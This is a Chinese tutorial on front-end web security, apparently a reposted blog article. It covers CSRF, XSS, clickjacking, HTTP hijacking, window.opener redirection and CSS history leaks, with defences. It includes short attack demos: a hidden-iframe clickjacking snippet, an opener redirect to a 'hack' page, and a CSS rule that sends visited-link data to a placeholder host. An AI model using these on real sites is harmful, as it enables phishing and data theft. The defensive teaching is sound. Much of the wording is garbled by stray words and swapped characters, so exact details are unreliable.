前端发展至今, 从最初前端简单的页面切图到如今承担愈来愈重要的职责, 前端安全一直存在而且日益重要。
算算作了这么些年前端,真正关心安全问题的时候少之又少, 不少时候被安所有门追着跑: "xx, 快,有个漏洞补一补"!javascript
今天咱们主要经过了解-攻击-防护几部分对主要的攻击方法作相应的了解, 不求作最锋利的矛,但求作不断增强的盾!demosphp
注: csrf,就像一个小偷, 借用了你的钥匙,打开了你家的保险箱,若是没有二次防护手段, 那就gameover啦css
1). 攻击者为三方的网站html
2). 攻击者实际利用的是用户已经在被攻击网站保存的受权信息, 如上图中的login session前端
3). 用户的实际受权凭证不会被盗取, 只是被借用了vue
4). 攻击方式多样, 只要能够发起请求就能实施相应的攻击,如上图form表单、图片等等java
1). 上图中,经过form表单、img图片加载的方式发起http请求 demonode
2). 经过ajax请求, 跨域调用能够加上withCredentials,用于带上被攻击站点的cookiejquery
1). 篡改用户在被攻击站点的数据webpack
2). 盗取用户隐私数据
1). 因为攻击来源于三方
能够判断请求来源refferer, 加refferer白名单
缺点: 跨过refferer的方式不少, 不能所有有效拦截
2). 加csrf-token, 这是主流的解决方案
I. 后端维护csrf token, 进入页面时获取最新token, 提交表单时验证
II. js维护一个cookie中的超短时token,接口在接受到数据时校验 demo
1). 目标表单是否带有token验证
2). 是否有验证码
3). 是否判断了referer
4). allow-access 相关参数设置是否有漏洞
5). 目标jsonp数据是否能够自定义callback
Cross-site scripting,跨站脚本攻击, 相对于csrf, 他的逼格就上升了一个档次,由于他能够盗取到用户的鉴权信息, 而后随意执行操做
1). 利用代码漏洞进行攻击
2). 一旦被攻击,就可能致使用户凭证被盗取
3). 存储型XSS会影响全站安全
1). 经过query string参数解析的漏洞, 插入非法代码 demo
注: 短地址来助攻
2). 经过评论、论坛等用户输入入口,输入非法代码
1). 挂载木马
2). 盗取用户cookie
3). 钓鱼攻击
4).劫持用户行为
1). htmlEncode
2). javascriptEncode
3). cookie安全 httpOnly
html和js自解码机制,以下表, demo
编码/运行环境 | 方式 | html | javascript |
---|---|---|---|
HTMLEncode后的字符 | - | - | - |
- | 使用特殊字符转义 | 会 | 不会 |
- | 使用htmlnode转义 | 会 | 不会 |
- | 使用unicode转义 | 会 | 不会 |
JavaScriptEncode后的字符 | - | - | - |
- | 使用unicode转义 | 不会 | 会 |
- | 使用\转义 | 会 | 会 |
用户界面矫正攻击(UI矫正攻击,UI矫正)是一种恶意技术,基于视觉欺骗的web会话劫持攻击
1). 实际攻击来源于第三方网站
2). 用户在不知情的状况下,被欺骗点击,触发了某个操做
页面操做劫持技术的基本原理, 是是在用户可见页面上 覆盖了一个不可见的框 。 通常是一个透明的iframe
.click-iframe{ position: relative; } .click-iframe iframe { position: absolute; border: 0; top:-50px; left:0; opacity: 0; /** 将iframe 隐藏 **/ } 复制代码
<div class="click-iframe"> <button> 抽奖啦 </button> <iframe src="http://localhost:3000/static/clickIframe.html"> </iframe> </div> 复制代码
利用页面拖拽功能, 将被攻击页面做为拖拽对象,demo 拖动放置在一个输入框中, 从而取到被攻击站点的网站源码
a). 在评论或论坛页面, 经过插入一个图片, 设置position为absolute覆盖到页面到任意位置,假装成网站的原有代码,从而诱使用户访问钓鱼网站。(demo待完善)
1). 诱导用户访问钓鱼网站
2). 窃取用户信息
1). 对于点击劫持类的, 能够经过限制iframe嵌入完成
2). 对于文本数据库的,要对css进行过滤
1). http响应头是否设置了X-Frame-options 或者 是否有js拦截iframe嵌入(有缺陷)
2). 使用iframe嵌入验证
http劫持是很是常见的,表现状况就是, 你的站点被挂载了其余的内容,广告或者其余恶意代码
一些小运营商或者中间商,会请求过程当中对源码进行修改,加入了恶意代码, 因为突破了同源策略, 恶意代码拿到了大部分web权限
https劫持,明显难度更大, 例如咱们开发经常使用的抓包工具charles,就能够设置https代理,从而拿到请求的明文代码
1). 通常状况下, 劫持的代码会经过document.write来写入其余的图片、js、css代码,咱们能够经过从新document.write来限制这种状况 demo
var _write = document.write, _white_list = { '127.0.0.1:8081': 1, }, _RE_SCRIPTS = /<(script|img|iframe).*?src\=["']?([^"'\s>]+)/ig, _RE_DOMAIN = /(.+?)\.([^\/]+).+/; function sendTJ() { console.log("被攻击啦:",arguments) } document.write = function(str) { try { var s, safes = [], unknows = []; console.log(_RE_SCRIPTS) while(s = _RE_SCRIPTS.exec(str)) { console.log(s) if(_white_list[(_RE_DOMAIN.exec(s) || [])[2]]) { safes.push(s); } else { unknows.push(s); } } if(unknows.length > 0) { sendTJ([unknows[0], safes[0] || ""].join("~_~"), location.href); } try { _write.call(this, str); } catch(ex) { _write(str); } } catch(ex) { sendTJ(ex.name + ":" + ex.message, location.href); } }; 复制代码
若是攻击不是利用这种方式, 则没法拦截
2). 利用mutationObserver对dom节点监控,若是发现非白名单的标签,进行移除 demo
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; var whiteListForCSP = [ 'http(s)?:\/\/(.)+.xxx.com', 'http(s)?:\/\/hm.baidu.com', 'http(s)?:\/\/res.wx.qq.com' ] // Mutation 观察者对象能监听在某个范围内的 DOM 树变化 if(MutationObserver) { var observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { // 返回被添加的节点,或者为null. var nodes = mutation.addedNodes; for (var i = 0; i < nodes.length; i++) { var node = nodes[i]; var tagName = node.tagName && node.tagName.toLowerCase() if ((tagName === "script" || tagName === "iframe" || tagName === "img" || tagName === "link") && node.src && (node.src.indexOf(window.location.protocol+"://"+window.location.hostname) !=0 && !new RegExp("^("+whiteListForCSP.join(")|(")+")").test(node.src))) { try { node.parentNode.removeChild(node); console.log('拦截非白名单文件:', node.src); } catch (e) {} } } }) }) } // 传入目标节点和观察选项 observer.observe(document, { subtree: true, childList: true }); 复制代码
这种方案缺陷也很明显, 那就是http劫持插入的代码每每在第一行, 同步加载的代码已经被执行了,并不能作到百分百拦截
3). CSP方案
CSP拦截能够作到很细致(demo)
属性 | 值 | 描述 |
---|---|---|
child-src | 参见值列表 | 限制为 web workers 和其余内嵌浏览器内容iframe的源地址 |
font-src | 限制字体文件 | |
frame-src | 设置容许经过相似<frame>和<iframe>标签加载的内嵌内容的源地址 | |
img-src | 限制图片和图标的源地址 | |
media-src | 限制经过<audio>、<video>或<track>标签加载的媒体文件的源地址 | |
object-src | 限制<object>、<embed>、<applet>标签的源地址 | |
prefetch-src | 指定预加载或预渲染的容许源地址 | |
script-src | 限制JavaScript的源地址 | |
style-src | 限制层叠样式表文件源 | |
worker-src | 限制Worker、SharedWorker或者ServiceWorker脚本源 |
值 | 描述 | demo |
---|---|---|
host | 域名或ip地址或含通配符* | http://*.example.com/store.example.com |
schema | http:或https:或data: | |
'self' | 必须包含',资源须要和源站的同样的url schame和端口 | |
'unsafe-inline' | 是否允许使用内联资源,script或者style或者JavaScript:类型的url | |
'unsafe-eval' | 是否可以使用eval | |
'none' |
原理:利用a标签打开的新窗口会带有一个window.opener对象,指向的是原窗口的window对象
该对象因为同源策略限制,没法读取和操做dom,可是window.opener.location对象却可写
<!-- a页面 --> <a href="http://127.0.0.1:8081/opener2.html" target="_blank">diff origin url2</a> <!-- b 页面 --> <script> alert("访问opener2") if(window.opener) { if(window.opener.location) { window.opener.location = "http://127.0.0.1:8081/hack.html" } else { alert("没有合适的opener属性") } } else { alert("没有opener对象") } </script> <!-- hack --> <h3>哈哈哈, 你被攻击啦</h3> 复制代码
此处没有详细测试css相关攻击方法,只对css存在过或者可能存在的攻击点作描述
a. css 容错性很强, 能够经过加{} 对css字符合法化
b. css资源加载类属性执行javascript(大部分浏览器已拦截该操做)
body { backgroud-image:url('javascipt:alert(1)') } 复制代码
c. ie下的expression能够执行js代码
d. 利用一些特殊属性
a:visited, css history,能够对访问过的连接,发送一个请求到特定地址 【已被浏览器修补】
#a1:visited{ background: url(http://xxx.com/css/dosave?data=a1) } 复制代码
属性选择器
input[value^="x"] {background: url(xxx)} 复制代码
源站 | 访问站 | 是否可读取 | 注 |
---|---|---|---|
https | http | false | - |
无 | http/https | false | - |
无/任意来源 | js/css/img/ajax | true | 站内资源访问referer为访问站点 |
http | http | true | - |
https | https | true | - |
file/data | http | false | 来源页是本地文件或者data Url |
Referrer-Policy | 任意 | true/false | 按referrer-policy的属性决定 |
rel=noreferrer | 任意 | 无 |
referrer-policy值
值 | 含义 |
---|---|
no-referrer | 不发送 |
no-referrer-when-downgrade | 降级不发送,https嵌入 http时不发送 |
origin | 只发送scheme+host+port |
origin-when-cross-origin | 跨域请求中只包含origin信息 |
same-origin | 只在同源下发送 |
strict-origin | 须要相同的协议安全等级下发送 如https嵌入http时就不发送 |
unsafe-url | 始终发送 |
如今的主流浏览器都提供了记住密码的功能,这个功能很强大,能够帮助咱们减小记录密码的负担, 可是稍有不慎就会发现更危险的事情。
当包含密码项的表单被渲染时, 浏览器就会将明文记录的密码填充到对应的密码项, 咱们可使用dom操做的方式获取到密码的明文
注: 攻击依赖xss
防护方式:
xss防护
尽可能减小密码表单域或其它隐私数据表单域的自动填充
利用输入框的自动填充属性
autocomplete = off | new-password
复制代码
iframe是web安全中致使问题最多的标签之一, 了解iframe及其机制,有助于咱们采起合适的防护机制
一些安全相关属性 demo
属性 | 值 | 描述 |
---|---|---|
csp | iframe.csp=参考csp属性和值 | 用于设置iframe的内容安全策略 |
referrerpolicy | 参考referrer-policy | 用于指定获取iframe资源时的referrer |
sandbox | 建立一个沙箱环境, 并经过指定对应属性来控制 |
防护措施
x-frame-options 设置iframe嵌入规则
js控制iframe嵌入规则
1). domain 能够设置为当前域或者父级域或者根域
包含用户代理可用于验证已提取资源是否已无心外操做的内联元数据。参见 Subresource Integrity。
包安全检测, npm的盛行给前端开发中带来了福音,同时也埋入了安全隐患, 当咱们轻松引入大量工具包时,有没有关注过该插件是否有安全隐患呢
npm-check --help
复制代码
整理两个表格,以帮助你们自检
类目 | 类型 | 描述 | 案例 |
---|---|---|---|
输入框 | xss | 对输入数据用户展现的输入框是否有xss过滤 | 用户名输入框被输入了非法代码,同时在前端展现了时错误执行了该代码 |
url | xss | 是否有直接读取url中的内容渲染到html的状况 | vue v-html,jquery html()等 |
url | 任意url跳转 | 登陆以后通常会有个nextUrl,若是使用了query维护,则可能跳到钓鱼网站 | - |
cookie | csrf | 重要信息是否使用httpOnly | 如登陆的session,key等 |
form/ajax | csrf | 检查是否有token | - |
upload | xss | 是否有对文件上传作类型限制 | - |
类型 | 防护方式 | demo |
---|---|---|
CSRF | csrf token | - |
- | js token | demo |
- | 验证码防护 | |
XSS | htmlEncode/JavascriptEncode | utils |
- | X-XSS-Protection | 头部默认开启的防护措施 |
- | cookie httponly | |
- | CSP | |
- | 输入内容长度限制 | |
界面劫持 | X-Frame-Options | deny/sameorigin |
- | js 拦截iframe | |
- | 对iframe嵌入地址作签名 |
blogs.msdn.microsoft.com/ie/2008/07/…
mathiasbynens.github.io/rel-noopene…
infosec.mozilla.org/guidelines/…
developer.mozilla.org/zh-CN/docs/…
书籍《web黑客揭秘》